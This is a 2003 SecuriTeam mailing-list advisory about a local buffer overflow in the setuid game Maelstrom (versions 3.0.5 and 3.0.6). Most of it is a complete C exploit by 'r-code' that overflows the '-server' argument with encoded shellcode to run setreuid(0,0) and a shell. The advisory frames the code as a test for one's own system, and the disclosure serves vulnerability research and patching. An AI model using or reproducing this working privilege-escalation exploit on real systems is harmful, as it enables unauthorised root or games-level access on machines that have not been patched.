[EXPL] Maelstrom Vulnerable to a Local Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/21/03

  • Next message: SecuriTeam: "[TOOL] WebServerFP, Web Server Fingerprint Tool"
    To: list@securiteam.com
    Date: 21 May 2003 19:25:02 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Maelstrom Vulnerable to a Local Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5OP0I2AA0S.html> Maelstrom Vulnerable
    to a Local Buffer Overflow, there is a buffer overflow vulnerability in
    Maelstrom which allow local attacker arbitrary code execution.
    Exploitation of the vulnerability will allow users to gain elevated
    privileges (as the program is setuid 'games'). The following exploit code
    can be used to test your system for the vulnerability.

    DETAILS

    Vulnerable systems:
     * Maelstrom 3.0.6
     * Maelstrom 3.0.5

    Exploit:
    /*****************************************************************
    *Maelstrom <=3.0.6 exploit written by r-code from Elite FXP Team *
    * dedicated to our TEAM ;] *
    * Usually Maelstrom isn`s +s, but many ppl set this attribute *
    * enjoy! *
    *****************************************************************/
     
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    unsigned long int get_sp(void) {
      __asm__("movl %esp,%eax");
    }

    /* nothing special, prints some text :], setreuid(0,0) and runs a shell */

    unsigned char shellcode[] =
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\xe0\x80\x36\x01\x46\xe2\xfa"
    "\xea\x7e\x2e\x63\x68\x6f\x2e\x72\x69\x01\x91\x91\x91\x91\x91\x91"
    "\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x5a\x2a\x5c"
    "\x21\x52\x69\x64\x6d\x6d\x21\x52\x71\x60\x76\x6f\x64\x65\x20\x0b\x5a\x2a\x5c"
    "\x21\x46\x73\x64\x64\x75\x7b\x21\x75\x6e\x3b\x21\x62\x7b\x60\x73\x6f\x78\x2d"
    "\x7d\x72\x75\x60\x62\x69\x74\x7d\x2d\x7b\x60\x6c\x68\x2d\x73\x60\x7b\x6e\x73"
    "\x2d\x62\x78\x71\x69\x64\x73\x2d\x6b\x64\x65\x6d\x68\x6a\x0b\x5a\x2c\x5c\x21"
    "\x47\x74\x62\x6a\x3b\x21\x44\x6d\x72\x68\x4d\x60\x52\x6e\x67\x20\x0b\x01\x80"
    "\xed\x66\x2a\x01\x01\x91\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01"
    "\x01\x5a\x80\xc2\x8b\x10\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\x82\xe3\xec"
    "\xfe\xfe\x88\x44\xf5\x88\x44\xf9\x8c\x8a\x01\xef\xfe\xfe\x30\xfe\xbb\x61\x01"
    "\x01\x01\xb9\x05\x01\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a"
    "\x01\x01\x01\x8a\x74\xf5\x88\xfb\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2";

    #define LEN 8172
    #define DEFAULT_OFFSET 3800
    #define ALIGN 3
    #define PATH "/usr/bin/Maelstrom"

    int main(int argc,char **argv) {
      register int i;
      char *evilstr=0,*str=0;
      unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0;

      
      printf(":: Maelstrom exploit by r-code d_fence@gmx.net ::\n");
      printf(":: -=<[Elite FXP Team]>=- ::\n\n");
      
      if(argc>1)
        offset=atoi(argv[1]);
      
      retaddr=get_sp() - offset;
      
      printf("[+] ESP: 0x%x\n",get_sp());
      printf("[+] OFFSET 0x%x, RET_ADDR: 0x%x\n",offset,retaddr);
      printf("[+] If doesn't work try: \"%s 3500-4200\" in 150
    steps\n",argv[0]);
          
      evilstr=(char *)malloc(LEN);
      evilstr+=ALIGN; /* Because of the evilstr[0x00]='2',evilstr[0x01]='@' */
      ptr=(unsigned long int *)evilstr;

      for(i=0;i<(LEN/4);i++)
        *(ptr++)=(unsigned long int)retaddr;

      evilstr-=ALIGN; /* Rerturning to the previous pointer adress */
      memset(evilstr,'A',(LEN/2));

      evilstr[0x00]='2';
      evilstr[0x01]='@';

      for(i=0;i<strlen(shellcode);i++)
        evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];

      evilstr[LEN]=0x00;
      
      printf("[+] Attempting to exploit %s [Good Luck!]\n",PATH);
      
      execl(PATH,"Maelstrom","-server",evilstr,NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:d_fence@gmx.net> d_fence.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] WebServerFP, Web Server Fingerprint Tool"